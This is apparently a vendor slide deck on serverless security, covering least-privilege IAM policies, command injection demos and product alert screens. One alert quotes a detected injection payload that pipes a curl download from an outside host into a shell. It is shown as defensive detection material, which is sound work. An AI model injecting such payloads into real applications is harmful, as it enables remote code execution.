They Moved Your Cheese:
Pragmatic Security in a Code-Centric World

Serverless @Security
Agenda

● What is Serverless
● The security challenges & opportunities of serverless applications
● How serverless applications can be attacked (demo)
● How automation & code-centric can prevent attacks (demo)
● Summary
THE CLOUD IS THE NEW OS.
The **Cloud Evolution to Serverless**

- **On Premise** (1990s)
- **Data Center Hosting** (2000s)
- **VMs** (2006-...)
- **Containers** (2013-...)
- **Serverless** (2016-...)

27.8% CAGR by 2025
Yep. The perimeter is gone and it’s all ephemeral - deal with it

5000 permissions, 30 dependencies on 300 functions? Deal with it

Yep. hard to know what’s running where & if its well configured - deal with it

Correct, 10 updates a week - deal with it...
Attack Vectors
What Now and Why Is It My Problem?

The overall security and development advantages of serverless are too great, and each team has an impact.

Security, “Because you still care, and it’s still your problem”

Development, “Because you control permissions and configuration”

DevOps, “Because you are the bridge”
Command Injection - Context

Command injection attacks are possible when an application passes unsafe user supplied data to a system shell.

In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application.

Command injection attacks are possible largely due to insufficient input validation.
Command Injection Attack Demo 1
1. **Optimize your security posture**
   - **Why?**
     - Good hygiene == less attack surface
   - **Why Serverless?**
     - 1. Fine grained architecture
     - 2. More visibility
   - **How?**
     - Automated code-driven analysis of the application deployment and behavior

2. **Discover what you need to care about**

3. **Defend workloads from within**
CHALLENGE
```javascript
var s3 = new AWS.S3({apiVersion: '2006-03-01'});
var params = {Bucket: 'myBucket', Key: imageFileName};
var file = require('fs').createWriteStream('/tmp/file.jpg');
s3.getObject(params).createReadStream().pipe(file);

{ "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:*"],
    "Resource": ["arn:aws:s3:::*"]
  }
] }

Security???

{ "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:GetObject"],
    "Resource": ["arn:aws:s3:::myBucket/*"]
  }
] }

Of course I care about security

{ "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:*"],
    "Resource": ["arn:aws:s3:::myBucket/*"]
  }
] }

Least privilege*

12
Permissive role - Fix Details

Your function DVSA-SEND-RECEIPT-EMAIL-SLATEST has redundant permissions. By statically analyzing your code, we could not find a path where your code requires these operations. Setting unnecessary permissions increases the function attack surface. We highly recommend you to remove those permissions.

Version: '2012-10-17'
Statement:
  - Sid: ProtegoGenerated1718c64c
    Effect: Allow
    Action:
      - 'logs:CreateLogGroup'
      - 'sts:GetCallerIdentity'
    Resource: '*'
  - Sid: ProtegoGeneratedae2c3a19
    Effect: Allow
    Action:
      - 's3:HeadObject'
      - 's3:GetObject'
    Resource: 'arn:aws:s3:::dvsa-receipts-bucket-123123123123/*'
  - Sid: ProtegoGenerated18c38d48
    Effect: Allow
    Action:
      - 'logs:CreateLogStream'
      - 'logs:PutLogEvents'
OPPORTUNITY
Command Injection Attack Demo 2
1. Optimize your security posture

Why?
Knowing the good from the bad can be challenging at the best of times

Why Serverless?
1. Easy to Baseline
2. Hard to Observe

2. Discover what you need to care about

How?
Data, data, data

3. Defend workloads from within
Unauthorized API Call | s3:listObjects

Critical | Alert | Tuesday, September 17th 2019, 12:03:03

What is this?
Protego has detected an attempt to call an unauthorized service api, which is not part of the function's approved access list.

What could it be?
Someone tried to use the function to access other cloud resources in the account. A successful attack could result in sensitive data leakage, modification of data or even in a complete cloud resource takeover, depending on the functions' permissions.

What was detected?
Service: s3
Action: listObjects

Which resources are involved?
Optimize your security posture

Discover what you need to care about

Defend workloads from within

Why?
‘Cause Hackers!

Why Serverless?
1. No Perimeter or OS
2. Security needs to be as ephemeral & lightweight

How?
Visibility, Granularity, Managed
Command Injection Attack

Critical | Alert | Saturday, September 29th 2019, 6:22:13

What is this?
Protego has detected a Command Injection attack.

Command injection (CWE-77, CWE-78) is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application.

What could it be?
In Command Injection, the attacker extends the default functionality of the application, which executes system commands, without the necessity of injecting code. If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability.

How was this detected?
Protego FSP observed a suspicious data that matched a pattern which identifies Command Injection attack.

What is the source of the unusual activity?
Injection Type: sec_event_cmd1
Matched Type: curl xxz.s3_website-us-east-1.amazonaws.com&x;sh
Solution Architecture

1. SaaS Platform
2. CI/CD Pipeline Plug-ins
3. Developer Tool
4. Function Self Protection Layer

Developers

CI/CD
SAM / Code Pipeline
Serverless Jenkins

Serverless Application
Java, Node, Python, C Sharp, Go*

Protego
Posture Analyzer
Security Monitor
Defense Policies

Monitoring
SecOps
Severless Key Takeaways

- Serverless security is different
  - New challenges
  - New opportunities
- Focus on
  - Knowing what’s going on
  - Minimizing your attack surface
  - Connecting dev & sec teams
- Find the tools that make it easier
Thank You!

For more info: www.protego.io

yuval@protego.io